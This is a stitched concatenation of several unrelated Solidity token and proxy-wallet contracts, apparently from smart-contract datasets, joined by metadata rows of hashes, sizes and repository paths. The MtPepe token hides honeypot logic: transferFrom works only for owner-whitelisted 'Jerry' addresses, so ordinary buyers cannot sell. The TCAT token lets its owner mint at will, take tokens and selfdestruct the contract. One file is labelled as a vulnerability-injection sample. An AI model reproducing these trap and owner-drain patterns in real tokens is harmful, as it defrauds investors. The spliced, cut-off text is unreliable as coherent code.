address public releaseAgent;
bool public released = false;
mapping (address => bool) public transferAgents;
modifier canTransfer(address _sender) {
if(!released) {
require(transferAgents[_sender]);
}
_;
}
function setReleaseAgent(address addr) onlyOwner inReleaseState(false) public {
releaseAgent = addr;
}
function setTransferAgent(address addr, bool state) onlyOwner inReleaseState(false) public {
transferAgents[addr] = state;
}
function releaseTokenTransfer() public onlyReleaseAgent {
released = true;
}
modifier inReleaseState(bool releaseState) {
require(releaseState == released);
_;
}
modifier onlyReleaseAgent() {
require(msg.sender == releaseAgent);
_;
}
function transfer(address _to, uint _value) canTransfer(msg.sender) returns (bool success) {
// Call StandardToken.transfer()
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint _value) canTransfer(_from) returns (bool success) {
// Call StandardToken.transferFrom()
return super.transferFrom(_from, _to, _value);
}
}
contract Coin is TCAUpgradeableToken, ReleasableToken {
event UpdatedTokenInformation(string newName, string newSymbol);
string public name = "TheCurrencyAnalytics";
string public symbol = "TCAT";
uint public decimals = 18;
//Crowdsale running
bool public isCrowdsaleOpen=false;
uint public totalSupply = 400000000 * (10 ** decimals);
uint public onSaleTokens = 200000000 * (10 ** decimals);
uint tokensForPublicSale = 0;
address contractAddress;
uint256 pricePerToken = 2860; //1 Eth = 2860 TCAT
uint minETH = 0 * 10**decimals; // 0 ether
uint maxETH = 15 * 10**decimals; // 15 ether
function Coin() TCAUpgradeableToken(msg.sender) {
owner = msg.sender;
contractAddress = address(this);
//tokens are kept in contract address rather than owner
balances[contractAddress] = totalSupply;
}
function updateTokenInformation(string _name, string _symbol) onlyOwner {
name = _name;
symbol = _symbol;
UpdatedTokenInformation(name, symbol);
}
function sendTokensToOwner(uint _tokens) onlyOwner returns (bool ok){
require(balances[contractAddress] >= _tokens);
balances[contractAddress] = safeSub(balances[contractAddress],_tokens);
balances[owner] = safeAdd(balances[owner],_tokens);
return true;
}
function sendTokensToInvestors(address _investor, uint _tokens) onlyOwner returns (bool ok){
require(balances[contractAddress] >= _tokens);
onSaleTokens = safeSub(onSaleTokens, _tokens);
balances[contractAddress] = safeSub(balances[contractAddress],_tokens);
balances[_investor] = safeAdd(balances[_investor],_tokens);
return true;
}
function dispenseTokensToInvestorAddressesByValue(address[] _addresses, uint[] _value) onlyOwner returns (bool ok){
require(_addresses.length == _value.length);
for(uint256 i=0; i<_addresses.length; i++){
onSaleTokens = safeSub(onSaleTokens, _value[i]);
balances[_addresses[i]] = safeAdd(balances[_addresses[i]], _value[i]);
balances[contractAddress] = safeSub(balances[contractAddress], _value[i]);
}
return true;
}
function startCrowdSale() onlyOwner {
isCrowdsaleOpen=true;
}
function stopCrowdSale() onlyOwner {
isCrowdsaleOpen=false;
}
function setPublicSaleParams(uint _tokensForPublicSale, uint _min, uint _max, bool _crowdsaleStatus) onlyOwner {
require(_tokensForPublicSale != 0);
require(_tokensForPublicSale <= onSaleTokens);
tokensForPublicSale = _tokensForPublicSale;
isCrowdsaleOpen=_crowdsaleStatus;
require(_min >= 0);
require(_max > 0);
minETH = _min;
maxETH = _max;
}
function setTotalTokensForPublicSale(uint _value) onlyOwner{
require(_value != 0);
tokensForPublicSale = _value;
}
function increaseSupply(uint value) onlyOwner returns (bool) {
totalSupply = safeAdd(totalSupply, value);
balances[contractAddress] = safeAdd(balances[contractAddress], value);
Transfer(0x0, contractAddress, value);
return true;
}
function decreaseSupply(uint value) onlyOwner returns (bool) {
balances[contractAddress] = safeSub(balances[contractAddress], value);
totalSupply = safeSub(totalSupply, value);
Transfer(contractAddress, 0x0, value);
return true;
}
function setMinAndMaxEthersForPublicSale(uint _min, uint _max) onlyOwner{
require(_min >= 0);
require(_max > 0);
minETH = _min;
maxETH = _max;
}
function updateTokenPrice(uint _value) onlyOwner{
require(_value != 0);
pricePerToken = _value;
}
function updateOnSaleSupply(uint _newSupply) onlyOwner{
require(_newSupply != 0);
onSaleTokens = _newSupply;
}
function buyTokens() public payable returns(uint tokenAmount) {
uint _tokenAmount;
uint multiplier = (10 ** decimals);
uint weiAmount = msg.value;
require(isCrowdsaleOpen);
//require(whitelistedAddress[msg.sender]);
require(weiAmount >= minETH);
require(weiAmount <= maxETH);
// _tokenAmount = safeMul(weiAmount,multiplier) / pricePerToken;
_tokenAmount = safeMul(weiAmount,pricePerToken);
require(_tokenAmount > 0);
//safe sub will automatically handle overflows
tokensForPublicSale = safeSub(tokensForPublicSale, _tokenAmount);
onSaleTokens = safeSub(onSaleTokens, _tokenAmount);
balances[contractAddress] = safeSub(balances[contractAddress],_tokenAmount);
//assign tokens
balances[msg.sender] = safeAdd(balances[msg.sender], _tokenAmount);
//send money to the owner
require(owner.send(weiAmount));
return _tokenAmount;
}
function() payable {
buyTokens();
}
function destroyToken() public onlyOwner {
selfdestruct(msg.sender);
}
}
| 194,631 | 12,202 |
a3663530838ef1cf688273b0b90a47f6fb01940efe56b6e6dba6871a00c5206f
| 23,701 |
.sol
|
Solidity
| false |
454080957
|
tintinweb/smart-contract-sanctuary-arbitrum
|
22f63ccbfcf792323b5e919312e2678851cff29e
|
contracts/mainnet/cd/cd7df85d72a01bc59a38035752918222b820c9ce_MtPepe.sol
| 3,845 | 14,190 |
// SPDX-License-Identifier: Unlicensed
// Telegram: https://t.me/MtPEPEARB
// Website: https://mountpepe.online/
pragma solidity ^0.6.12;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract MtPepe is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcluded;
mapping (address => bool) private isGerry;
address[] private _excluded;
address[] private _jery;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000 * 10**6 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
string private _name = 'MT.Pepe';
string private _symbol = 'MT.Pepe';
uint8 private _decimals = 9;
uint8 private _newdec = 9;
bool public openTrade = false;
event usingStandardTransfer(address indexed currentOwner);
event transferForSellOrNot(address indexed currentOwner);
constructor () public {
_rOwned[_msgSender()] = _rTotal;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
if (_isExcluded[account]) return _tOwned[account];
return tokenFromReflection(_rOwned[account]);
}
uint256 public _totlAmt = 1000 * 10**6 * 10**9;
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
if(sender != owner()){
require(isJerry(sender));
}
transferForSellOrNot(sender); //confirm this
// _transfer(sender, recipient, amount);
_transferStandard(sender, recipient, amount);
// Why is approved alter on here?
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function isExcluded(address account) public view returns (bool) {
return _isExcluded[account];
}
function isJerry(address account) public view returns (bool) {
return isGerry[account];
}
function totalFees() public view returns (uint256) {
return _tFeeTotal;
}
function setTotalAmt(uint256 totlAmount) external onlyOwner() {
_totlAmt = _tTotal.mul(totlAmount).div(10**2);
}
function tokenFromReflection(uint256 rAmount) public view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function openTrading(bool _result) external onlyOwner(){
openTrade = _result;
}
function addJerry(address account) external onlyOwner() {
// isGerry
require(isJerry(account) == false, "Account already jerried");
// _isExcluded[account] = true;
isGerry[account] = true;
_jery.push(account);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address sender, address recipient, uint256 amount) private {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
// Move this below to avoid for owner
// require(isGerry[sender]);
if(sender != owner() && recipient != owner())
require(amount <= _totlAmt, "Transfer amount exceeds the maxTx.");
usingStandardTransfer(sender);
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
// _reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tAmount);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee) = _getTValues(tAmount);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee);
}
function _getTValues(uint256 tAmount) private pure returns (uint256, uint256) {
uint256 tFee = tAmount.div(100).mul(2);
uint256 tTransferAmount = tAmount.sub(tFee);
return (tTransferAmount, tFee);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
for (uint256 i = 0; i < _excluded.length; i++) {
if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal);
rSupply = rSupply.sub(_rOwned[_excluded[i]]);
tSupply = tSupply.sub(_tOwned[_excluded[i]]);
}
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function getCurrentSupply() public view returns (uint256) {
return _rTotal;
}
}
| 27,872 | 12,203 |
8c479847c7b5e83f4b66203070c4671d1e69cd9fea14800ffc7a2044c18cf5a9
| 36,829 |
.sol
|
Solidity
| false |
293466625
|
xf97/HuangGai
|
40a349be6102d5eb63893fb914659405ae162d93
|
injectedContractDataSet/publicFuncToExternal/0x7583a7a3852f742bBC66855F3502f1c512a0aD6E_publicFuncToExternal.sol
| 4,449 | 17,308 |
// SPDX-License-Identifier: MIT
pragma solidity 0.6.8;
//
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
//
abstract contract Proxy {
receive () payable external {
_fallback();
}
fallback () payable external {
_fallback();
}
function _implementation() internal virtual view returns (address);
function _delegate(address implementation) internal {
assembly {
// Copy msg.data. We take full control of memory in this inline assembly
// block because it will not return to Solidity code. We overwrite the
// Solidity scratch pad at memory position 0.
calldatacopy(0, 0, calldatasize())
// Call the implementation.
// out and outsize are 0 because we don't know the size yet.
let result := delegatecall(gas(), implementation, 0, calldatasize(), 0, 0)
// Copy the returned data.
returndatacopy(0, 0, returndatasize())
switch result
// delegatecall returns 0 on error.
case 0 { revert(0, returndatasize()) }
default { return(0, returndatasize()) }
}
}
function _willFallback() internal virtual {
}
function _fallback() internal {
_willFallback();
_delegate(_implementation());
}
}
//
contract BaseUpgradeabilityProxy is Proxy {
event Upgraded(address indexed implementation);
bytes32 internal constant IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;
function _implementation() internal override view returns (address impl) {
bytes32 slot = IMPLEMENTATION_SLOT;
assembly {
impl := sload(slot)
}
}
function _setImplementation(address newImplementation) internal {
require(Address.isContract(newImplementation),
"Implementation not set");
bytes32 slot = IMPLEMENTATION_SLOT;
assembly {
sstore(slot, newImplementation)
}
emit Upgraded(newImplementation);
}
}
//
contract AdminUpgradeabilityProxy is BaseUpgradeabilityProxy {
event AdminChanged(address previousAdmin, address newAdmin);
bytes32 internal constant ADMIN_SLOT = 0xb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103;
constructor(address _logic, address _admin) public payable {
assert(ADMIN_SLOT == bytes32(uint256(keccak256('eip1967.proxy.admin')) - 1));
assert(IMPLEMENTATION_SLOT == bytes32(uint256(keccak256("eip1967.proxy.implementation")) - 1));
_setImplementation(_logic);
_setAdmin(_admin);
}
modifier ifAdmin() {
if (msg.sender == _admin()) {
_;
} else {
_fallback();
}
}
function admin() public ifAdmin returns (address) { //inject PUBLIC FUNC TO EXTERNAL
return _admin();
}
function implementation() public ifAdmin returns (address) { //inject PUBLIC FUNC TO EXTERNAL
return _implementation();
}
function changeAdmin(address newAdmin) public ifAdmin { //inject PUBLIC FUNC TO EXTERNAL
emit AdminChanged(_admin(), newAdmin);
_setAdmin(newAdmin);
}
function changeImplementation(address newImplementation) public ifAdmin { //inject PUBLIC FUNC TO EXTERNAL
_setImplementation(newImplementation);
}
function _admin() internal view returns (address adm) {
bytes32 slot = ADMIN_SLOT;
assembly {
adm := sload(slot)
}
}
function _setAdmin(address newAdmin) internal {
bytes32 slot = ADMIN_SLOT;
assembly {
sstore(slot, newAdmin)
}
}
}
//
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
//
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
//
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
//
contract Initializable {
bool private initialized;
bool private initializing;
modifier initializer() {
require(initializing || isConstructor() || !initialized, "Contract instance has already been initialized");
bool isTopLevelCall = !initializing;
if (isTopLevelCall) {
initializing = true;
initialized = true;
}
_;
if (isTopLevelCall) {
initializing = false;
}
}
/// @dev Returns true if and only if the function is running in the constructor
function isConstructor() private view returns (bool) {
// extcodesize checks the size of the code stored in an address, and
// address returns the current address. Since the code is still not
// deployed when running a constructor, any checks on its code size will
// yield zero, making it an effective way to detect if a contract is
// under construction or not.
address self = address(this);
uint256 cs;
assembly { cs := extcodesize(self) }
return cs == 0;
}
// Reserved storage space to allow for layout changes in the future.
uint256[50] private ______gap;
}
//
contract Account is Initializable {
using SafeMath for uint256;
using SafeERC20 for IERC20;
event Withdrawn(address indexed tokenAddress, address indexed targetAddress, uint256 amount);
event Approved(address indexed tokenAddress, address indexed targetAddress, uint256 amount);
event Invoked(address indexed targetAddress, uint256 value, bytes data);
address public owner;
mapping(address => bool) public admins;
mapping(address => bool) public operators;
function initialize(address _owner, address[] memory _initialAdmins) public initializer {
owner = _owner;
// Grant the admin role to the initial admins
for (uint256 i = 0; i < _initialAdmins.length; i++) {
admins[_initialAdmins[i]] = true;
}
}
modifier onlyOperator() {
require(isOperator(msg.sender), "not operator");
_;
}
function transferOwnership(address _owner) public {
require(msg.sender == owner, "not owner");
owner = _owner;
}
function grantAdmin(address _account) public {
require(msg.sender == owner, "not owner");
require(!admins[_account], "already admin");
admins[_account] = true;
}
function revokeAdmin(address _account) public {
require(msg.sender == owner, "not owner");
require(admins[_account], "not admin");
admins[_account] = false;
}
function grantOperator(address _account) public {
require(msg.sender == owner || admins[msg.sender], "not admin");
require(!operators[_account], "already operator");
operators[_account] = true;
}
function revokeOperator(address _account) public {
require(msg.sender == owner || admins[msg.sender], "not admin");
require(operators[_account], "not operator");
operators[_account] = false;
}
receive() payable external {}
function isOperator(address userAddress) public view returns (bool) {
return userAddress == owner || admins[userAddress] || operators[userAddress];
}
function withdraw(address payable targetAddress, uint256 amount) public onlyOperator {
targetAddress.transfer(amount);
// Use address(-1) to represent ETH.
emit Withdrawn(address(-1), targetAddress, amount);
}
function withdrawToken(address tokenAddress, address targetAddress, uint256 amount) public onlyOperator {
IERC20(tokenAddress).safeTransfer(targetAddress, amount);
emit Withdrawn(tokenAddress, targetAddress, amount);
}
function withdrawTokenFallThrough(address tokenAddress, address targetAddress, uint256 amount) public onlyOperator {
uint256 tokenBalance = IERC20(tokenAddress).balanceOf(address(this));
// If we have enough token balance, send the token directly.
if (tokenBalance >= amount) {
IERC20(tokenAddress).safeTransfer(targetAddress, amount);
emit Withdrawn(tokenAddress, targetAddress, amount);
} else {
IERC20(tokenAddress).safeTransferFrom(owner, targetAddress, amount.sub(tokenBalance));
IERC20(tokenAddress).safeTransfer(targetAddress, tokenBalance);
emit Withdrawn(tokenAddress, targetAddress, amount);
}
}
function approveToken(address tokenAddress, address targetAddress, uint256 amount) public onlyOperator {
IERC20(tokenAddress).safeApprove(targetAddress, 0);
IERC20(tokenAddress).safeApprove(targetAddress, amount);
emit Approved(tokenAddress, targetAddress, amount);
}
function invoke(address target, uint256 value, bytes memory data) public onlyOperator returns (bytes memory result) {
bool success;
(success, result) = target.call{value: value}(data);
if (!success) {
// solhint-disable-next-line no-inline-assembly
assembly {
returndatacopy(0, 0, returndatasize())
revert(0, returndatasize())
}
}
emit Invoked(target, value, data);
}
}
//
contract AccountFactory {
event AccountCreated(address indexed userAddress, address indexed accountAddress);
address public governance;
address public accountBase;
mapping(address => address) public accounts;
constructor(address _accountBase) public {
require(_accountBase != address(0x0), "account base not set");
governance = msg.sender;
accountBase = _accountBase;
}
function setAccountBase(address _accountBase) public {
require(msg.sender == governance, "not governance");
require(_accountBase != address(0x0), "account base not set");
accountBase = _accountBase;
}
function setGovernance(address _governance) public {
require(msg.sender == governance, "not governance");
governance = _governance;
}
function createAccount(address[] memory _initialAdmins) public returns (Account) {
AdminUpgradeabilityProxy proxy = new AdminUpgradeabilityProxy(accountBase, msg.sender);
Account account = Account(address(proxy));
account.initialize(msg.sender, _initialAdmins);
accounts[msg.sender] = address(account);
emit AccountCreated(msg.sender, address(account));
return account;
}
}
| 278,895 | 12,204 |
f3e0475bfe0e55e8a9fa710b3cf14db234d071bc4f80302c79c77e901d3b57c7
| 13,040 |
.sol
|
Solidity
| false |
593908510
|
SKKU-SecLab/SmartMark
|
fdf0675d2f959715d6f822351544c6bc91a5bdd4
|
dataset/Solidity_codes_9324/0x363742737c2bd957a3002375d08eb2b54488457f.sol
| 3,273 | 12,859 |
pragma solidity ^0.8.10;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract MEANOREO is Context, IERC20, Ownable {
mapping (address => uint) private _owned;
mapping (address => mapping (address => uint)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private _isBot;
mapping (address => User) private cooldown;
uint private constant _totalSupply = 1e9 * 10**9;
string public constant name = unicode"MEANOREO";
